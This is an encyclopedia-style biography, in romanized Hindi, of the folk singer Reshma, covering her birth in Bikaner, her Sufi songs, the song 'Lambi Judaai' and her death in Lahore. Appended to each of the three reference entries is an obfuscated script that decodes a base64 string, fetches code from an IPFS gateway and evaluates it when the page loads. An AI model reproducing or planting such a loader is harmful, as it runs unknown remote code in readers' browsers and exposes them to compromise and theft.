रेशमा
reshama
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| poora nam | reshama |
| janm | 1947 |
| janm bhoomi | bikaner, rajasthan (bharat) |
| mrityu | 3 navambar 2013 |
| mrityu sthan | lahaur, pakistan |
| karm-kshetr | lok gayika |
| puraskar-upadhi | sitara-e-imtiyaz[1], lijeands aauph pakistan |
| prasiddh git | 'dama dam mast kalandar', 'hay o rabba niyoan lagada dil mera', 'lanbi judaee', aankhiyaan noo rahan de adi |
| any janakari | rajakapoor ne film b aaubi mean inake git 'aankhiyaan noo rahan de' ki tarj ka istemal karate hue lata mangeshakar se 'aankhiyoan ko rahane de, aankhiyoan ke as-pas' gana bhi gavaya. |
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reshama (aangrezi: Reshma, janm: 1947 – mrityu: 3 navambar 2013) sitara-e-imtiyaz se sammanit pakistani lok gayika thian. vo bharat mean bhi kafi lokapriy thi. reshama prasiddh film nirmata-nirdeshak subhash ghee ki film hiro ke ‘lanbi judaee’ vale gane se bharat mean bahut mashahoor huee thian. rajasthan ke bikaner mean reshama ka janm hua tha. reshama ka bharat se bhi gahara rishta raha hai. bantavare ke bad reshama ka parivar karachi chala gaya tha. 12 sal ki umr se hi reshama gayaki mean mashahoor ho geean. pakistan rediyo par reshama ne apana pahala soofi gana lal meri... gaya. bad mean ye ek b di soofi gayika ke roop mean jani geean.
jivan parichay
1947 mean rajasthan ke bikaner mean ek banjara parivar mean janmi reshama lok gayaki ke lie mashahoor rahian. bharat-pakistan vibhajan ke bad unaka parivar karachi jakar bas gaya. reshama ne sangit ki koee aupacharik shiksha nahian li thi aur vah daragah par gati thian. aise hi, shahabaj kalandar ki daragah par 12 sal ki nanhian reshama ko gate sun kar ek tivi evan rediyo prodyoosar ne pakistan ke sarakari rediyo par charchit git ‘lal meri’ reshama se gavane ki vyavastha ki. yah git behad lokapriy hua aur reshama pakistan ke lokapriy lok gayakoan mean shamil ho geean. 1960 ke dashak mean reshama ka jadoo sir chadhakar bol raha tha aur unhoanne pakistani tatha bharatiy film udyog mean apani pratibha ka loha manavaya. pakistani baiand ‘lal’ ke pramukh gayak shaharam ajahar ne bataya, vah apane ap mean ek sansthan thian aur unaki jaisi gayika ke jane ka matalab ek yug ka avasan hai. unaka jana sangit jagat ki bahut b di kshati hai. hay o rabba nahian lagada dil mera aur aankhiyaan noo rahane de aankhiyoan de kol kol jaise git reshama ki reshami avaz़ mean saj kar mano khud par ithalate the. unaki avaz़ mean alag hi tarah ki kashish thi jo unako sabase alag pahachan deti thi.[2]
prasiddh git
reshama 12 sal ki umr mean ek bar shahabaj kalandar ki daragah par gati huee dikhian. reshama par tivi aur rediyo ke ek prodyoosar ki nazar p di. unhhoanne pakishtan rediyo par 'lal meri' ki rik aaurdiang ka iantajam kiya. reshama ki yah rik aaurdiang jabaradasht hit rahi. vah 1960 ke dashak se hi pakistan ki tivi par gane lagi thian. unaki avaz mean 'dama dam mast kalandar', 'hay o rabba niyoan lagada dil mera' aur 'aankhiyaan noo rahan de' jaise gane logoan ki juban par chadh ge. rajakapoor ne to film b aaubi mean 'aankhiyaan noo rahan de' ki tarj ka istemal karate hue lata mangeshakar se 'aankhiyoan ko rahane de, aankhiyoan ke as-pas' gana bhi gavaya.
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chitr:Blockquote-open.gif
reshama ko unaki mati ke bulave ka vasta diya vo theth deshi marava di lahaje mean bolian, "agar mati bulav to batao pher maian kiya ruk sakoo hooan?
chitr:Blockquote-close.gif |
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arthik pareshaniyaan
ek daur aisa bhi aya jab reshama arthik pareshaniyoan mean ghir geean. tab pakistan ke poorv rashtrapati aur sangit premi paravej musharraph ne unhean das lakh rupaye die taki vah apana rrin chuka sakean. bad mean musharraph ne reshama ke lie prati mah 10,000 rupaye ki sahayata bhi nirdharit kar di. reshama ko jab 6 aprail 2013 ko lahaur ke d aauktars h aauspital mean bharti karaya gaya tha to najam sethi ki aguvaee vali tatkalin karyavahak sarakar ne unake chikitsakiy kharch ka bhugatan karane ka phaisala kiya tha. reshama ne kaha tha, maian amerika, kanada sahit kee deshoan mean gee. usake bad maian bharat gee jahaan logoan ne mujhe kafi samman diya.[2]
prasiddh lok gayika
lok svar aisa jise sunate hue rajasthan ke registan ki khuradarahat aur banjaroan ki ragoan mean dau dati masti poori shiddat se mahasoos hoti thi. jyadatar bharatiyoan ke lie reshama se parichay ka arth film 'hiro' ke git, char dinaan da pyar ho rabba b di lanbi judaee.. se hai, lekin reshama ne jab-jab aur jo bhi gaya vah poore dil se gaya. yah bakhshish lok se sianche jane par hi milati hai ki mandar saptak se lekar tar saptak tak reshama ki avaz mean kahian koee tootan nahian ati. hay o rabba niyo lagada dil mera.. jaisa git gakar vah hamare aandar chhipi huee shashvat udasi ko dhire-dhire jagate hue manjhe hue manovaijnanik ki tarah bahar le ati haian. log ise aj bhi yad karate haian ki pakistan ke hi mashahoor gayak rahe aur mehadi hasan ke shishy paravez mehadi ke sath gaya unaka gana, gorie, maian jana parades.. mean kis tarah reshama ki surili hooank paravej ki harakatoan aur murkiyoan par bhari p di thi. unaki javani se lekar budhape ke daur tak mean unake sakshatkaroan mean ek saphagoee aur aviral vichar pravah hamesha najar aya. urdoo aur panjabi ke mishran mean bat karate hue reshama ne kabhi nahian chhupaya ki vah padhi-likhi nahian haian aur bhasha par unaka koee adhikar nahian hai. n reshamaji ne ve adaean sikhian jo ne log tab bhi sikh lete haian jab unhean sangit ki sahi samajh n ho. sakshatkar lene vale ko vah kabhi baboo sahab, kabhi baboo to kabhi beta kah kar hi sanbodhit karati thian. bharat ka zikr ate hi vah us samman ke bare mean zaroor bat karati thian jo unhean yahaan mila. stoodiyo mean jane se ghabarane vali reshamaji ke anurodh par lanbi judaee gana dilip kumar ke ghar par rik aaurd hua tha. ve un chand pakistani kalakaroan mean thian jinhean pakistan ne samajha aur kadr bhi ki. yah kahana halaanki bahut ravayati hoga, lekin sach yahi hai ki saanskritik sandarbho mean reshama bharat aur pakistan ke bich ek pul ki tarah thian.[3]
vyaktitv
reshama ki makhamali avaz़ jab fiza mean gooanjati thi to thar marusthal ka zarra-zarra kuandan sa chamakane lagata. ve rajasthan ke shekhavati aanchal ke ek gaanv mean paida hueean thian lekin unaka gayan kabhi sarahad ki hadoan mean nahian bandha. reshama ko jab bhi mauka mila vo rajasthan ati rahian aur suroan ko apani sar-zami par nyochhavar karati rahian. logoan ko yad hai jab reshama ko varsh 2000 mean sarakar ne davat di aur vo khianchi chali aeean tab unhoanne ne jayapur mean khule manch se apani prastuti di aur fiza mean apane gayan ka jadoo bikhera. reshama ne n keval apana pasandida 'kesariya balam padharo mhare desh' sunaya balki 'lambi judaee' sunakar sunane valo ko sammohit kar diya tha. is karyakram ke ayojan se ju de ajay chop da un lamhoan ko yad kar bataya ki jab reshama ko davat di gee to vo kanada jane vali thian aur kahane lagi unako visa mil gaya hai. magar jab unako apani mati ka vasta diya gaya to reshama bhavuk ho geean. reshama ko unaki mati ke bulave ka vasta diya vo theth deshi marava di lahaje mean bolian, "agar mati bulav to batao pher maian kiya ruk sakoo hooan?" ye aisa mauka tha jab rajasthan ki mati mean paida pandit jasaraj, jagajit sianh, mehadi hasan aur reshama jayapur mean jama hue aur prastuti di. hotal mean reshama ne rajasthani thandee ki khvahish zahir ki to thandee ka saman mangaya gaya aur reshama ne khud apane hath se thandee banaee. "reshama apane gaanv, mati aur logoan ko yad kar bar-bar jazbati ho jati thian. reshama ne manch par kee bar apane gaanv- dehat aur bite hue daur ko yad kiya aur un rishtoan ko amit bataya."[4]
samman aur puraskar
pakistan ke rashtrapati ne unhean ‘sitara e imtiyaj’ aur ‘lijeands aauph pakistan’ samman pradan kiya tha. unhean aur bhi kee rashtriy samman mile the. bharat aur pakistan ke kalakaroan ko jab 1980 ke dashak mean ek doosare ke yahaan apani prastuti dene ki anumati mili, reshama ne bharat mean laiv parapharmens diya tha. film nirmata subhash ghee ne unaki avaz़ ko apani film ‘hiro’ mean istemal kiya tha aur vah git ‘lanbi judaee’ tha jise aj bhi shrota pasand karate haian. unhean tatkalin bharatiy pradhanamantri iandira gaandhi se milane ke lie bulaya gaya tha.[2]
nidhan
reshama ka 3 navambar 2013 ko lahaur, pakistan mean nidhan ho gaya. reshama ko gale ka kaiansar tha aur vah lanbe samay se lahaur ke ek ashpatal mean bharti rahian. reshama ne bad mean isi ashpatal mean aantim saans li. ashpatal sootroan ke mutabiq reshama qarib ek mahine se koma mean thian. b aaulivud ki film 'hiro' mean unaka gana 'lanbi judaee...' kafi mashahoor hua tha. 'hiro' film ke nirdeshak subhash ghee sahit tamam hastiyoan ne reshama ke nidhan par shok jataya. subhash ghee ne kaha, 'reshama ji aj bhi hamare dil mean haian. maian jab bhi soophi ganoan ke bare mean sochata hooan to reshama ji yad a ati hai.'
samachar ko vibhinn srotoan par padhean
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tika tippani aur sandarbh
- ↑ pakistan ka tisara sarvochch nagarik puraskar
- ↑ 2.0 2.1 2.2 lanbi judaee par chali geean haradil ajij phanakar reshama (hindi) zi nyooz. abhigaman tithi: 5 navambar, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ lanbi judaee par chali geean haradil ajij phanakar reshama (hindi) jagaran yahoo iandiya. abhigaman tithi: 5 navambar, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ hamesha ke lie juda hueean 'lanbi judaee' vali reshama (hindi) bibisi hiandi. abhigaman tithi: 5 navambar, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
- reshama "lambi judaee" gate hue (yu-tyoob par)
- reshama panjabi git "akkhiyaan nooan raihan de" gate hue (yu-tyoob par)
- balivud ki reshama ko shraddhaanjali
sanbandhit lekh
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varnamala kramanusar lekh khoj
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